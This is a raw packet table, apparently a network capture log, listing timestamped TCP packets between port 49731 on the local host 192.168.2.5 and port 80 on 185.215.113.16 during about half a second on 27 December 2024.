Dec 27, 2024 15:01:23.216155052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.216365099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.246244907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.246313095 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.246356964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.246702909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.246763945 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.246818066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.247771025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.247838020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.293622971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.293724060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.293781042 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.294197083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.294564009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.294615030 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.294676065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.295299053 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.295375109 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.295404911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.296330929 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.296391964 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.296432972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.297394991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.297457933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.297508955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.298440933 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.298477888 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.298542023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.299509048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.299573898 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.299609900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.300574064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.300633907 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.300683975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.301598072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.301665068 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.301693916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.302661896 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.302762985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.302767038 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.303852081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.303915977 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.303920984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.304752111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.304822922 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.304852962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.305829048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.305871010 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.306005955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.306878090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.306987047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.307030916 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.307890892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.307933092 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.307991028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.308994055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.309026003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.309030056 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.309995890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.310039997 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.310183048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.311055899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.311109066 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.311167955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.312180042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.312212944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.312242031 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.313195944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.313244104 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.313268900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.314198971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.314237118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.340624094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.340717077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.340776920 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.341104031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.371615887 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.371668100 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.371715069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.372167110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.372246981 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.372276068 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.373260975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.373296022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.418683052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.418751955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.418797970 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.419109106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.419363976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.419415951 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.419473886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.420336008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.420404911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.420433044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.421029091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.421066046 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.421200037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.422116995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.422166109 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.422234058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.423129082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.423167944 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.423232079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.424171925 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.424210072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.424272060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.425246954 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.425285101 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.425316095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.426263094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.426318884 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.426369905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.427371025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.427453995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.427462101 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.428361893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.428396940 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.428397894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.429434061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.429558039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.429600000 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.430587053 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.430634022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.430674076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.431539059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.431598902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.431611061 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.432569981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.432605982 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.432619095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.433624029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.433744907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.433753967 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.434685946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.434811115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.434832096 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.435734987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.435767889 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.435827971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.436774969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.436865091 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.436872959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.437824965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.437860012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.437916040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.438951015 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.438991070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.439022064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.465533018 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.465603113 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.465612888 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.465919971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.465981007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.466007948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.466128111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.466171980 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.467030048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.501811028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.501885891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.501904964 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.502224922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.502262115 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.502327919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.503237963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.503293037 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.543401003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.543497086 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.543629885 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.544056892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.544310093 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.544348955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.544379950 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.545083046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.545139074 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.545186043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.545291901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.545341015 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.546210051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.546319008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.546566963 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.547274113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.547377110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.547456026 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.548451900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.548533916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.548592091 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.549407005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.549468040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.549535036 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.550435066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.550503016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.550549030 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.551512003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.551578045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.551621914 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.552535057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.552628040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.552691936 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.553579092 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.553667068 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.553719044 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.554621935 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.554718018 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.554783106 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.555665970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.555793047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.555841923 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.556725025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.556850910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.556906939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.557795048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.557873011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.557919025 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.558835030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.558938980 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.558993101 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.559886932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.559972048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.560928106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.560980082 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.561016083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.561819077 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.561983109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.562082052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.562148094 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.563049078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.563155890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.563214064 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.564071894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.590287924 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.590308905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.590440989 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.590636969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.590696096 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.590790987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.590854883 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.590909958 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.591790915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.626372099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.626403093 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.626522064 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.626857996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.626913071 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.626983881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.627089977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.627137899 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.628031969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.628149033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.628812075 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.629065990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.668332100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.668349028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.668438911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.668824911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.668896914 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.669004917 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.669136047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.669182062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.669998884 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.670120001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.670202971 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.670661926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.670764923 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.670814991 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.671725035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.671794891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.671848059 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.672389030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.672513962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.673454046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.673506975 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.673561096 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.674530983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.674603939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.674638987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.674679041 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.675558090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.675672054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.675725937 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.676614046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.676727057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.677685976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.677747011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.677783966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.678718090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.678797007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.678833961 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.679477930 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.679820061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.679913998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.679971933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.680814028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.680888891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.680943966 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.681844950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.681965113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.682014942 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.682908058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.682997942 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.683048010 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.684014082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.684078932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.685029984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.685082912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.685121059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.685790062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.686064005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.686181068 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.686233044 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.687108994 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.687259912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.687331915 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.688185930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.688314915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.688615084 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.715292931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.715416908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.715522051 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.715687037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.715828896 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.715881109 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.715950012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.716854095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.716900110 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.751555920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.751655102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.751786947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.752047062 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.752144098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.752197027 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.753082991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.753284931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.753345966 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.754139900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.794209003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.794291019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.794421911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:23.794653893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:23.794806957 CET	80	49731	185.215.113.16	192.168.2.5
